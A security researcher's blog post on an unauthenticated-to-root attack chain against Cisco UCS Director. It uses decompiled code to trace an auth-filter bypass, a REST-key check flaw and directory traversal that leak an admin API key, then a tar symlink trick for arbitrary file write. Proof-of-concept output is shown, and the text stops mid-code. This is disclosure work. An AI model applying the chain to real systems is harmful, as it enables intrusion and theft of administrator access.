Strike Three :: Symlinking Your Way to Unauthenticated Access Against Cisco UCS Director
This is the final blog post to my series of attacks against Cisco software. If you haven’t seen the previous posts, I recommend you check them out here and here. Like always, we will start from an unauthenticated context and work our way up to full blown remote code execution as root and I will share some of the interesting discoveries along the way :-)
TL;DR; In this post, I will walk through some of the vulnerabilities I discovered in Cisco UCS Director and what makes them interesting and unique to other discoveries. If there is one thing you take away from this post, it’s that the tar command executed against an untrusted file is considered harmful.
Testing Environment
In the interest of reproducibility, here are the details of the software I tested.
- Name: Cisco UCS Director 6.7.3.0 VMWARE Evaluation
- File: CUCSD_6_7_3_0_67414_VMWARE_SIGNED_EVAL.zip
- Version: 6.7.3.0 VMWARE Evaluation (latest at the time)
- MD5: 3f79463a654c91dbf4b620884e2a3b21
- Size: 4355.99 MB (4567591797 bytes)
- Download: https://software.cisco.com/download/home/286320555/type/285018084/release/6
Authentication Bypass
Typically speaking, in a web app the majority of an attack surface is exposed to authenticated users. Therefore, in order to expose this surface, one needs an authentication bypass of some sort. This is always the hardest part of the auditing process and quite often an attacker has to get creative and either find a single flaw or a series of subtle mistakes that can lead to a complete authentication bypass, ideally without a social engineering context.
In this example, we are in the latter position and I will break down the small mistakes that lead to the leak of the admins rest API key and subsequent session creation with high privileges. Below is the list of vulnerabilities that allowed for a complete authentication bypass!
- RESTUrlRewrite RequestDispatcher.forward Filter Bypass
- RestAPI isEnableRestKeyAccessCheckForUser Flawed Logic
- RestAPI$MyCallable call Arbitrary Directory Creation
- RestAPI downloadFile Directory Traversal Information Disclosure
1. RESTUrlRewrite RequestDispatcher.forward Filter Bypass
Looking inside of /opt/infra/web_cloudmgr/apache-tomcat/webapps/app/WEB-INF/web.xml
we can see the following entries:
<servlet>
<servlet-name>RestAPIServlet</servlet-name>
<servlet-class>com.cloupia.client.web.RestAPI</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>RestAPIServlet</servlet-name>
<url-pattern>/api/rest</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>mo</servlet-name>
<servlet-class>com.cloupia.client.web.MoServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>mo</servlet-name>
<url-pattern>/api-v2/*</url-pattern>
</servlet-mapping>
These are essentially protected by the RestAuth
filter.
<filter-name>RestAuth</filter-name>
<url-pattern>/api/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>RestAuth</filter-name>
<url-pattern>/api-v2/*</url-pattern>
</filter-mapping>
Upon inspection of the RestAuth
filter, there doesn’t seem to be a way to bypass this filter after CVE-2019-1937. However, it maybe possible to find a forwarding servlet/filter that we can reach unauthenticated that will reach the API for us. As it turns out, in another web application that was exposed, there is.
Forwarding filters/servlets are interesting because they allow a attacker to bypass any remaining filters to the target servlet. Let’s try to understand this with a real example. Inside of the /opt/infra/web_cloudmgr/apache-tomcat/webapps/cloupia/WEB-INF/web.xml
file we see:
<filter-mapping>
<filter-name>RESTUrlRewrite</filter-name>
<url-pattern>/api/*</url-pattern>
<url-pattern>/api-v2/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>RESTUrlRewrite</filter-name>
<filter-class>
com.cloupia.client.web.auth.urlfilter.RESTUrlRewriteFilter
</filter-class>
</filter>
If we access that uri pattern from the cloupia application, then we will hit the RESTUrlRewriteFilter
filter. Let’s see the code inside of that filter:
/* */ public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
/* 38 */ HttpServletRequest request = (HttpServletRequest)req;
/* 39 */ String requestURI = request.getRequestURI(); // 1
/* 40 */ String method = request.getMethod();
/* */
/* 42 */ ServletContext context = getFilterConfig().getServletContext().getContext("/app");
/* */
/* */ // ...
/* */
/* 54 */ if (requestURI.startsWith("/cloupia/")) { // 2
/* 55 */ String newURI = requestURI.replace("/cloupia/", "/"); // 3
/* */
/* */ // ...
/* */
/* */ try {
/* 60 */ RequestDispatcher dispatcher = context.getRequestDispatcher(newURI);
/* */
/* */ // ...
/* */
/* 64 */ dispatcher.forward(request, res); // 4
At [1] the code gets the attackers supplied URI request and at [2] the code checks to see if it starts with “cloupia”, if it does, it replaces it with “/” and stores it into newURI
at [3] . Finally at [4] the code calls RequestDispatcher.forward
to forward the request. This allows an attacker to side step the RestAuth
filter and reach the RestAPI
class.
2. RestAPI isEnableRestKeyAccessCheckForUser authentication bypass
Inside of the com.cloupia.client.web.RestAPI
class we can find the following code:
/* */ public class RestAPI
/* */ extends HttpServlet
/* */ {
/* */ private static final long serialVersionUID = 7975946862395704005L;
/* */ private static final String SERVICE_NAME = "InfraMgr";
/* */ private static final String GET_REST_API_KEY = "getRESTKey";
/* 63 */ public static String KEY_HEADER_NAME = "X-Cloupia-Request-Key";
/* */ public static final String INVALID_USER = "*** Invalid User ***";
/* 65 */ public static final Logger logger = Logger.getLogger(RestAPI.class);
/* */
/* */
/* */ public static final String IS_USER_REST_REQUEST_LIMIT_EXCEEDED = "IsRESTRequestLimitExceededForUser";
/* 71 */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); }
/* 81 */ protected void doDelete(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); }
/* 91 */ protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); }
Any PUT/GET/DELETE request made by an attacker will land in the doPost
method below.
/* */ public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 98 */ userNameInSession = null;
/* */
/* */ try {
/* 101 */ String userName = null;
/* 102 */ if (request.getParameter("username") != null) {
/* 103 */ userName = request.getParameter("username");
/* */ }
/* 105 */ if (request.getParameter("user") != null) {
/* 106 */ userName = request.getParameter("user");
/* */ }
/* 108 */ String password = null;
/* 109 */ if (request.getParameter("password") != null) {
/* 110 */ password = request.getParameter("password");
/* */ }
/* 112 */ ProductAccess userBean = null;
/* 113 */ if (request.getSession() != null && request.getSession().getAttribute("USER_IN_SESSION") != null) {
/* */
/* 115 */ userBean = (ProductAccess)request.getSession().getAttribute("USER_IN_SESSION");
/* 116 */ userNameInSession = userBean.getLoginName();
/* */ }
/* 118 */ logger.debug("user name in Session is ..." + userNameInSession);
/* 119 */ if (userName != null && password != null) {
/* 120 */ boolean validUser = isValidUser(userName, password);
/* 121 */ if (!validUser) {
/* 122 */ response.sendError(401, "username/password wrong for rest api access");
/* */
/* */ return;
/* */ }
/* */ }
/* */
/* 128 */ String opName = request.getParameter("opName");
/* */
/* */
/* */
/* 132 */ if (!isOperationAllowed(opName)) {
/* */
/* 134 */ if (userNameInSession != null) {
/* 135 */ UserRequestManager.getInstance().removeRestRequest(userNameInSession);
/* */ }
/* */
/* 138 */ response.sendError(400, "Invalid operation name");
/* */ return;
/* */ }
/* 141 */ if (opName.equals("getRESTKey")) {
/* */
/* 143 */ getRestKey(request, response);
/* */ } else {
/* */
/* 146 */ logger.info("RestAPI opName:" + opName);
/* */
/* */
/* 149 */ response.setHeader("Cache-Control", "max-age=0,must-revalidate");
/* */
/* */
/* */
/* 153 */ response.setHeader("Expires", "-1");
/* */
/* */
/* */
/* */ try {
/* 158 */ executeGenericOp(request, response); // 1
/* 159 */ } catch (Exception e) {
/* */
/* 161 */ logger.error("executeGenericOp failed");
/* 162 */ e.printStackTrace();
/* */ }
/* */
/* */ }
/* */ }
It’s possible for a remote attacker to reach [1], which is a call to executeGenericOp
using the attacker supplied request.
/* */ private void executeGenericOp(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 206 */ String formatType = request.getParameter("formatType");
/* 207 */ boolean isXML = false;
/* */
/* 209 */ if (formatType != null && formatType.equalsIgnoreCase("xml"))
/* */ {
/* 211 */ isXML = true;
/* */ }
/* */
/* 214 */ String serviceName = "InfraMgr";
/* 215 */ String opName = request.getParameter("opName"); // 2
/* 216 */ String opData = request.getParameter("opData"); // 3
/* 217 */ logger.info("executeGenericOp - serviceName:" + serviceName + ", opName:" + opName + ", opData:" + opData);
/* */
/* 219 */ if (isXML != true) {
/* */ try {
/* 221 */ JSON.getJsonElement(opData, "");
/* */ }
/* 223 */ catch (Exception e) {
/* 224 */ sendResponseError(response, "Malformed data in the parameter opData", serviceName, opName, isXML);
/* */ }
/* */ }
/* */
/* */ // ...
/* */
/* 252 */ ServiceIf sif = null;
/* */
/* */
/* */ try {
/* 256 */ sif = ServiceClient.getInstance().lookupService(serviceName);
/* */
/* 258 */ if (sif == null) {
/* */
/* 260 */ sendResponseError(response, "SERVICE_LOOKUP_FAIL", serviceName, opName, isXML);
/* */
/* */ return;
/* */ }
/* 264 */ } catch (Exception ex) {
/* */
/* 266 */ sendResponseError(response, "SERVICE_LOOKUP_EXCEPTION: " + ex.getMessage(), serviceName, opName, isXML);
/* 267 */ throw new Exception("SERVICE_LOOKUP_FAILED");
/* */ }
/* */
/* 270 */ UserSession userSession = getUserSessionInfo(request);
/* 271 */ String restKey = request.getHeader(KEY_HEADER_NAME); // 4
/* 272 */ boolean isRestAPIAccessEnabledUser = true;
/* 273 */ if (restKey == null) { // 5
/* */
/* 275 */ isRestAPIAccessEnabledUser = AuthenticationManager.getInstance().authenticatedUserRestKeyAccess(userSession.getUserId());
/* */
/* */ }
/* 278 */ else if (opName.startsWith("userAPI") || opName.contains(":userAPI")) { // 6
/* 279 */ isRestAPIAccessEnabledUser = isEnableRestKeyAccessCheckForUser(request); // 7
/* */ }
At [2] and [3] the code sets the opName
and opData
variables from attacker supplied data in the request. Then at [4] we make sure that our request contains the header “X-Cloupia-Request-Key”. This is to ensure we don’t land at [5] and continue to [6] where opName
needs to start with “userAPI” or contain “:userAPI”.
If it does, then we can reach [7] which is a call to isEnableRestKeyAccessCheckForUser
. Upon failure of a rest key check, this method should return false.
/* */ public static boolean isEnableRestKeyAccessCheckForUser(HttpServletRequest request) {
/* 793 */ boolean keyMatch = false;
/* 794 */ boolean isEnabledRestKeyAccess = false;
/* 795 */ String restKey = request.getHeader(KEY_HEADER_NAME); // 8
/* */
/* 797 */ AuthenticationManager authManager = AuthenticationManager.getInstance();
/* */
/* 799 */ if (restKey != null && !restKey.equals("")) { // 9
/* 800 */ ProductAccess keyUser = authManager.getKeyUser(restKey);
/* 801 */ logger.info("trying authorization with restKey");
/* */
/* 803 */ if (keyUser != null && keyUser.getRestKey() != null) { // 10
/* 804 */ if (keyUser.getRestKey().equals(restKey)) {
/* 805 */ logger.info("allowing rest api call (key match)");
/* 806 */ keyMatch = true;
/* */ } else {
/* */
/* 809 */ logger.info("user " + keyUser.getLoginName() + " key does not match with rest key " + restKey);
/* */ }
/* */ } else { // 11
/* 812 */ logger.info("no user found with rest key " + restKey);
/* */ }
/* 814 */ if (keyMatch) { // 12
/* */
/* */ try {
/* */
/* */
/* 819 */ isEnabledRestKeyAccess = authManager.authenticatedUserRestKeyAccess(keyUser.getLoginName());
/* 820 */ if (!isEnabledRestKeyAccess) {
/* 821 */ return false;
/* */ }
/* 823 */ } catch (Exception e) {
/* 824 */ logger.error("REST KEY Access Check service encountered an error" + e);
/* */
/* 826 */ return false;
/* */ }
/* */ }
/* */ }
/* 830 */ return true; // 13
/* */ }
At [8] the code gets the restKey
from the request header “X-Cloupia-Request-Key” and at [9] there is a check to see if the value is NULL or an empty string. Assuming it’s not (but it could be) we land into the else at [11] because at [10] the check will fail since keyUser
will be NULL.
Then at [12] there is a check to see if keyMatch
is set to true, which it isn’t because we didn’t have a matching key. Since we don’t land into the block at [12] we circumvent further checks and at [13] we return true!
Continuing on through the executeGenericOp
method:
* 283 */ if (!isRestAPIAccessEnabledUser) { // 14
/* 284 */ sendResponseError(response, "REMOTE_SERVICE_EXCEPTION: Permission denied to perform the REST API operation.", serviceName, opName, isXML);
/* */
/* */ return;
/* */ }
/* 288 */ String apiName = "";
/* */
/* 290 */ if (opName.contains(":")) // 15
/* 291 */ apiName = opName.split(":")[1];
/* 292 */ if ("userAPIDownloadFile".equals(apiName)) { // 16
/* 293 */ downloadFile(opData, response); // 17
/* */ return;
/* */ }
At [14] we can bypass the check because isRestAPIAccessEnabledUser
is set to true from the return value of isEnableRestKeyAccessCheckForUser
. Then at [15] the code extracts the apiName
from the attacker supplied opName
. At [16] the code checks to see if the apiName
is set to “userAPIDownloadFile” and if so, calls downloadFile
at [17].
3. RestAPI$MyCallable call Arbitrary Directory Creation
Before we can download a valid file though, the path needs to exist on the filesystem. By default, the /opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports
directory doesn’t exist.
So we need to find an API that allows for path creation, this is quite common in targets and I found one in the RestAPI$MyCallable
call
method. Side note for those wondering: The $ character in the class means that the MyCallable
class is an inline class inside of the RestAPI
class.
Inside of the executeGenericOp
method of the RestAPI
class, we can see:
/* 310 */ if ("userAPIUnifiedImport".equals(apiName)) {
/* 311 */ MyCallable callable = initialiseFileUplod(request); // 1
/* 312 */ FileUploadInfo fileInfo = callable.getFileInfo();
/* 313 */ String errorMsg = FileUploadUtil.validateFileUpload(fileInfo, request, response);
/* 314 */ if (!"".equals(errorMsg)) {
/* 315 */ sendResponseError(response, errorMsg, "InfraMgr", opName, false);
/* */ return;
/* */ }
/* 318 */ userApiUpload(fileInfo, callable); // 2
This code will call initialiseFileUplod
and will return a MyCallable
instance at [1]. Side note: Misspelt functions names are a sure fire sign of poor security!
/* */ public MyCallable initialiseFileUplod(HttpServletRequest request) {
/* 464 */ String opData = request.getParameter("opData");
/* */
/* 466 */ File tempDirLocation = new File("/opt/infra/uploads/multipart/1_" + (new Date()).getTime());
/* 467 */ boolean isTempDirCreated = false;
/* 468 */ if (!tempDirLocation.exists()) {
/* 469 */ isTempDirCreated = tempDirLocation.mkdirs();
/* */ }
/* 471 */ logger.info("Is tempDir got created:" + isTempDirCreated);
/* 472 */ FileUploadUtil.setPermissions(tempDirLocation.getAbsolutePath());
/* 473 */ FileUploadUtil.providePermissionToFile(tempDirLocation.getAbsolutePath());
/* 474 */ return new MyCallable(request, tempDirLocation, opData);
/* */ }
Then at [2] the callable will be parsed to userApiUpload
.
/* */ private void userApiUpload(FileUploadInfo fileInfo, MyCallable callable) {
/* 479 */ logger.debug("userApiUpload getting called");
/* 480 */ FileUploadUtil.handlePersistenceBasedOnUploadPolicy(fileInfo);
/* */
/* 482 */ FutureTask<FileUploadInfo> futureTask = new FutureTask<FileUploadInfo>(callable);
/* 483 */ Thread t = new Thread(futureTask);
/* 484 */ t.start(); // 3
/* */ }
This code will start a new threaded task at [3] and triggers the call
method inside of the MyCallable
class.
/* */ public FileUploadInfo call() {
/* 909 */ RestAPI.logger.debug("Control inside the call method...");
/* */
/* 911 */ String fileName = this.fileInfo.getFileName(); // 4
/* */
/* */
/* */
/* */
/* 916 */ byte[] totalByteArray = new byte[0];
/* */
/* */ try {
/* 919 */ Iterator<FileItem> fileIterator = this.fileItems.iterator();
/* 920 */ while (fileIterator.hasNext()) {
/* 921 */ FileItem fi = (FileItem)fileIterator.next();
/* 922 */ if (!fi.isFormField())
/* */ {
/* */
/* */
/* 926 */ String contentType = fi.getContentType();
/* */
/* 928 */ long sizeInBytes = fi.getSize();
/* 929 */ RestAPI.logger.info("Uploaded Filename: " + fileName + ":contentType:" + contentType + "]]sizeInBytes:" + sizeInBytes);
/* */
/* 931 */ if (sizeInBytes <= this.sizeThreshold) {
/* 932 */ byte[] individualByteArray = fi.get();
/* 933 */ totalByteArray = FileUploadUtil.concatenateByteArrays(totalByteArray, individualByteArray);
/* */ }
/* */
/* */ }
/* */
/* */ }
/* */
/* 940 */ } catch (Exception ex) {
/* 941 */ RestAPI.logger.error("While iterting fileItems>>>" + ex);
/* */
/* 943 */ FileUploadUtil.setFailureReason(this.fileInfo, ex);
/* */ }
/* */
/* */
/* */
/* 948 */ String uploadedFilePath = "/opt/infra/uploads/ApiUploads/" + fileName; // 5
/* 949 */ File myfile = new File(uploadedFilePath); // 6
/* 950 */ myfile.getParentFile().mkdirs(); // 7
The fileInfo
field is set with attacker controlled values from the request from the previous call to getFileInfo
in the executeGenericOp
method. At [4] we can see the fileName
is attacker supplied and later at [5] the code builds a string with the supplied filename from the upload request.
At [6] a new file instance is created and finally at [7] the getParentFile
method is called which will return the directory structure supplied by the attacker. Finally at [7] the mkdirs
method is called to create the attacker supplied directory structure. In my poc, I supplied the “../../web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/junk” string because getParentFile
will return “../../web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/”
Finally, the mkdirs
method will be triggered on the “/opt/infra/uploads/ApiUploads/../../web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/” string.
4. RestAPI downloadFile Directory Traversal Information Disclosure
Now that our exports directory is created, let’s disclose the downloadFile
method from the RestAPI
class:
/* */ private void downloadFile(String opData, HttpServletResponse response) {
/* 398 */ out = null;
/* 399 */ stream = null;
/* */
/* 401 */ String fileName = FileUploadUtil.getFileNameFromOpData(opData); // 1
/* 402 */ String errMsg = FileUploadUtil.validateFileDownload(fileName); // 2
/* 403 */ if (errMsg != null && !errMsg.isEmpty()) {
/* 404 */ sendResponseError(response, errMsg, "userAPIDownloadFile", "InfraMgr", false);
/* */ }
/* */
/* 407 */ String filePath = "/opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/" + fileName; // 3
/* */
/* */ try {
/* 410 */ out = response.getOutputStream();
/* 411 */ stream = new FileInputStream(filePath); // 4
/* */
/* 413 */ response.setContentType("application/x-download");
/* 414 */ response.setHeader("Content-Disposition", "attachment; filename=" + fileName);
/* */
/* 416 */ logger.debug("started writing data for download...");
/* */
/* 418 */ data = new byte[8192];
/* 419 */ int n = 0;
/* */
/* 421 */ while ((n = stream.read(data)) > 0)
/* */ {
/* 423 */ out.write(data, 0, n); // 5
/* */ }
/* */
/* 426 */ logger.debug("Done with writing data for download...");
/* */ }
/* 428 */ catch (Exception e) {
/* */
/* 430 */ logger.error("While downloading file:::" + e.getMessage());
/* */ } finally {
/* */
/* */
/* */ try {
/* */
/* 436 */ out.close();
/* 437 */ stream.close();
/* 438 */ } catch (IOException e) {
/* */
/* 440 */ logger.error("While closing resources::" + e.getMessage());
/* */ }
/* */ }
/* */ }
At [1] the code calls getFileNameFromOpData
which literally extracts the filename from the attacker supplied json object in opData
.
/* */ public static String getFileNameFromOpData(String opData) {
/* 372 */ String fileName = null;
/* */ try {
/* 374 */ fileName = JSON.getJsonElement(opData, "param0").toString();
/* 375 */ } catch (Exception e) {
/* 376 */ logger.error("While parsing the json string :'" + opData + "' exception occured[" + e.getMessage());
/* */ }
/* */
/* 379 */ if (fileName.charAt(0) == '"' && fileName.charAt(fileName.length() - 1) == '"') {
/* 380 */ fileName = fileName.substring(1, fileName.length() - 1).trim();
/* */ }
/* 382 */ logger.info("File to be downloaded:" + fileName);
/* 383 */ return fileName;
/* */ }
Then at [2] the code calls validateFileDownload
on the attacker supplied filename.
/* */ public static String validateFileDownload(String fileName) {
/* 387 */ logger.debug("Inside the file download validation method:" + fileName);
/* 388 */ errMsg = "";
/* 389 */ if (fileName == null || fileName.isEmpty()) {
/* 390 */ return "Filename can't be null or empty.";
/* */ }
/* */
/* */
/* 394 */ boolean isFileExist = false;
/* */ try {
/* 396 */ isFileExist = FileManagementUtil.isFileExist("/opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/" + fileName);
/* 397 */ } catch (Exception e) {
/* 398 */ logger.error("Something wrong happened while checking file existence:" + e.getMessage());
/* */ }
/* 400 */ if (!isFileExist) {
/* 401 */ errMsg = "There is no file with the name '" + fileName + "' for download.";
/* */ }
/* 403 */ File file = new File("/opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/" + fileName);
/* */
/* */
/* 406 */ if (file.length() > 41943040L) {
/* 407 */ errMsg = "File with size greater than 40 MB can't be downloaded.";
/* */ }
/* 409 */ return errMsg;
/* */ }
Basically, this function just checks that the file exists and will resolve a path with traversals in it. But remember, the exports directory needs to exist for us to return an empty value for errMsg
.
Finally, at [3], [4] and [5] the attacker supplied path to the filename is concatenated with “/opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/” and read into the stream
variable. The contents of the stream
variable (thus the attacker supplied file) is written to the output stream of the request.
Exploitation
Using this ability to leak a file unauthenticated, an attacker can leak the /opt/infra/idaccessmgr/logfile.txt
which contains API keys of admin users that have previously logged into the application.
Since this file can be large, I created a method to leak the contents of that file using chunked transfer encoding as described in RFC 7230 so it will significantly speed up the API key leak. Once the key is leaked, it’s possible to hit the /api-v2/ endpoint with the supplied API key in the header and the application will generate an authenticated session of that users API key!
saturn:~ mr_me$ ./poc.py 192.168.100.144
(+) created the exports directory!
(+) found an admins rest API key: 0A7DB7EC61204627BB833CE07AEA0F4C
(+) you are now admin with: JSESSIONID=6728B95915E362BEE745C47DC6CC2FAC375204FB1C9D1431050590DCEDE0D8A2
Remote Code Execution
Since I have the habit of finding multiple remote code execution vulnerabilities after authentication, I am only going to describe the most interesting one I found.
CopyFileRunnable run Arbitrary Symlink Creation
The com.cloupia.feature.userTemplates.ApplianceFileUploadEntryFormPage
class contains the vulnerable code reachable from validatePageData
:
/* */ public class ApplianceFileUploadEntryFormPage
/* */ implements PageIf
/* */ {
/* */
/* */ // ...
/* */
/* */ public int validatePageData(Page page, ReportContext context, WizardSession session) throws Exception {
/* 87 */ logger.info("validatePageData started");
/* 88 */ session.getSessionAttributes().remove(WizardSession.CUSTOM_SESSION_TIMEOUT);
/* 89 */ page.unmarshallToSession("ID_FILE_UPLOAD_ENTRY");
/* */
/* 91 */ ApplianceFileUploadEntry config = (ApplianceFileUploadEntry)session.getSessionAttributes().get("ID_FILE_UPLOAD_ENTRY");
/* */
/* */
/* 94 */ String actualFileName = config.getActualFileName();
/* 95 */ String dir = FileManagementUtil.getFullPathForLargeFileUpload(actualFileName);
/* 96 */ logger.info("Actual file name:" + actualFileName);
/* */
/* 98 */ boolean hasError = false;
/* 99 */ String errorMsg = null;
/* */
/* 101 */ if (actualFileName == null || actualFileName.length() == 0) {
/* */
/* 103 */ hasError = true;
/* 104 */ errorMsg = "No file uploaded";
/* */ }
/* 106 */ logger.debug("Error : " + errorMsg);
/* 107 */ if (!hasError) {
/* */
/* 109 */ String uploadFile = dir + actualFileName;
/* 110 */ File f = new File(uploadFile);
/* */
/* 112 */ if (!f.exists() || f.isFile());
/* */ }
/* */
/* */
/* */
/* 117 */ String tempPath = dir + File.separator + actualFileName;
/* 118 */ logger.info("tempPath:" + tempPath);
/* */
/* 120 */ String folderName = "public";
/* */
/* 122 */ if (config.getFolderType() == 2) {
/* */
/* 124 */ folderName = session.getUserId();
/* 125 */ } else if (config.getFolderType() == 3) {
/* */
/* 127 */ if (session.getGroup() != null) {
/* */
/* 129 */ folderName = session.getGroup().getGroupName();
/* */ }
/* */ else {
/* */
/* 133 */ folderName = session.getUserId();
/* */ }
/* */ }
/* */
/* 137 */ folderName = folderName + File.separator + System.currentTimeMillis();
/* */
/* 139 */ String fullPath = "/opt/infra/uploads/external/" + folderName + File.separator + actualFileName;
/* */
/* 141 */ if (page.isPageSubmitted()) {
/* */
/* */
/* */ try {
/* 145 */ UserSession usersession = UserSessionUtil.getCurrentUserSession();
/* 146 */ usersession.retrieveProfileAndAccess();
/* */
/* 148 */ int groupId = -1;
/* */
/* 150 */ if (usersession.getLoginProfile() != null && usersession.getLoginProfile().hasGroup() && (config
/* 151 */ .getFolderType() == 3 || config
/* 152 */ .getFolderType() == 2))
/* */ {
/* 154 */ groupId = Integer.parseInt(usersession.getLoginProfile().getCustomerId());
/* */ }
/* */
/* 157 */ String userId = usersession.getUserId();
/* 158 */ config.setUserId(userId);
/* 159 */ config.setGroupId(groupId);
/* 160 */ } catch (Exception e) {
/* */
/* 162 */ logger.error(e);
/* */ }
/* */
/* 165 */ String destFolderPath = "/opt/infra/uploads/external/" + folderName + File.separator;
/* */
/* 167 */ String jobStatus = (String)page.getSession().getSessionAttributes().get("COPY_FILE_STATUS");
/* */
/* 169 */ if (!ApplianceStorageUtil.isZipFile(tempPath) && !ApplianceStorageUtil.isOVAFile(tempPath) && null == jobStatus) {
/* */
/* 171 */ ApplianceStorageUtil.deleteApplianceFile(tempPath);
/* 172 */ page.setPageMessage("For OVF uploads zip/jar/ova formats are supported");
/* 173 */ page.setStatusMessageType(1);
/* 174 */ return 2;
/* */ }
/* */
/* 177 */ String zipFolder = "";
/* */
/* 179 */ if (!ApplianceStorageUtil.isZipFile(tempPath))
/* */ {
/* 181 */ zipFolder = getZipFolderName(tempPath);
/* */ }
/* */
/* */
/* 185 */ if (null == jobStatus && (ApplianceStorageUtil.isZipFile(tempPath) || ApplianceStorageUtil.isOVAFile(tempPath))) {
/* */
/* 187 */ CopyFileRunnable copyFile = new CopyFileRunnable(page.getSession().getUserId(), page.getCurrentReportContext(), page.getSession(), page, tempPath, destFolderPath, fullPath, zipFolder, actualFileName, folderName); // 1
/* 188 */ Thread t = new Thread(copyFile);
/* 189 */ t.start(); // 2
At [1] the code creates a new instance of the CopyFileRunnable
class with attacker controlled tempPath
and actualFileName
. The tempPath
variable contains a path to an uploaded zip file (ab)using the LargeFileUploadServlet
. This is a jailed path, so this servlet is not vulnerable to any attacks on its own.
Let’s take a look at the run
method of the CopyFileRunnable
class. This is triggered at [2] when the start
method is called because the CopyFileRunnable
class implements Runnable
.
/* */ class CopyFileRunnable
/* */ implements Runnable
/* */ {
/* */ ReportContext context;
/* */ String user;
/* */ WizardSession session;
/* */ Page page;
/* */ String tempPath;
/* */ String destFolderPath;
/* */ String fullPath;
/* */ String zipFolder;
/* */ String actualFileName;
/* */ String folderName;
/* */
/* */ CopyFileRunnable(String user, ReportContext context, WizardSession session, Page page, String tempPath, String destFolderPath, String fullPath, String zipFolder, String actualFileName, String folderName) {
/* 327 */ this.user = user;
/* 328 */ this.context = context;
/* 329 */ this.page = page;
/* 330 */ this.session = session;
/* 331 */ this.tempPath = tempPath;
/* 332 */ this.destFolderPath = destFolderPath;
/* 333 */ this.fullPath = fullPath;
/* 334 */ this.zipFolder = zipFolder;
/* 335 */ this.actualFileName = actualFileName;
/* 336 */ this.folderName = folderName;
/* */ }
/* */
/* */
/* */
/* */ public void run() {
/* */ try {
/* 343 */ this.zipFolder = ApplianceFileUploadEntryFormPage.getZipFolderName(this.tempPath);
/* 344 */ this.session.getSessionAttributes().put("COPY_FILE_STATUS", "started");
/* 345 */ this.session.getSessionAttributes().put("ZIP_FOLDER", this.zipFolder);
/* 346 */ this.session.getSessionAttributes().put("DEST_FOLDER_PATH", this.destFolderPath);
/* 347 */ this.session.getSessionAttributes().put("TEMP_PATH", this.tempPath);
/* 348 */ this.session.getSessionAttributes().put("FULL_PATH", this.fullPath);
/* 349 */ this.session.getSessionAttributes().put("ACTUAL_FILE_NAME", this.actualFileName);
/* 350 */ this.session.getSessionAttributes().put("FOLDER_NAME", this.folderName);
/* 351 */ ApplianceStorageUtil.copyFile(this.tempPath, this.destFolderPath, this.fullPath);
/* */
/* 353 */ ApplianceFileUploadEntryFormPage.logger.info("zip folder name :" + this.zipFolder);
/* */
/* 355 */ FileManagementUtil.cleanupDirectory(this.session);
/* */
/* 357 */ if (ApplianceStorageUtil.isOVAFile(this.tempPath)) { // 3
/* */
/* 359 */ String[] cmdSet = { "/bin/tar", "-xvf", this.actualFileName }; // 4
/* 360 */ ProcessExecutor.ProcessOutput po = ProcessExecutor.execute(cmdSet, new File(this.destFolderPath), 180L); // 5
/* 361 */ ApplianceFileUploadEntryFormPage.logger.info("Command Response: " + po.getOutput());
/* */ }
At [3] the code checks that the extension is of .ova and if so, proceeds to build a string array using the attacker controlled file that has been uploaded at [4].
Finally at [5] the code attempts to execute /bin/tar -xvf <attacker uploaded file>.ova
. It may appear that the attacker supplied filename could lead to command injection, but since the code is building an array, this is not the case.
Exploitation
Arbitray tar extraction is a very interesting primitive. Whilst most offensive researchers would naturally think to use a relative path traversal, (un)fortunately the tar command will not decompress file paths with traversals inside of them, despite that being an expected behaviour!
After some thinking, I realized that it maybe possible to (ab)use a tar archive that contains a symlink that points to a dangerous path and then use another file (in the same tar) to write to that symlink creating an arbitrary write situation. Whilst the documentation of tar states that it requires the -P argument to extract files with symlinks and other files pointing to symlinks, on its own, it will still extract a tar archive with a single symlink in it. Cute.
saturn:~ mr_me$ tar -xvf poc.ova
x si
x si/pwn: Cannot extract through symlink si/pwn
tar: Error exit delayed from previous errors.
saturn:~ mr_me$ ls -la si
lrw-r--r-- 1 mr_me staff 5 Dec 31 1969 si -> /tmp/
But, notice the behaviour without the -P ? A symlink is still created. This almost wouldn’t have been a problem because a temporary directory is created using a timestamp and this would have had to been bruteforced, but as it turns out, we can leak it with an error message from the application.
This symlink is written to /opt/infra/uploads/external/public/<timestamp>/
. That last directory is what changes, based on when the request is made. Given that we have this primitive, the checks in the com.cloupia.client.web.FileUploadServlet
servlet class can now be bypassed because we have the symlink planted within the uploads path and the location leaked.
A Triple Check Bypass
Let’s have a look at the code for the com.cloupia.client.web.FileUploadServlet
servlet:
/* */ private void fileUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 129 */ response.setHeader("expires", "-1");
/* */
/* 131 */ String filePath = request.getParameter("filePath"); // 1
/* */
/* 133 */ if (filePath == null) {
/* */
/* 135 */ logger.error("filePath is null");
/* 136 */ sendResponseError(response, "Requires a valid filePath");
/* */
/* */ return;
/* */ }
/* */
/* 141 */ logger.info("fileUpload filePath: " + filePath);
/* */
/* */
/* 144 */ if (!filePath.startsWith("/opt/infra/uploads/")) // 2
/* */ {
/* */
/* 147 */ filePath = "/opt/infra/uploads/" + filePath;
/* */ }
/* */
/* 150 */ if (filePath.indexOf("../") != -1) { // 3
/* */
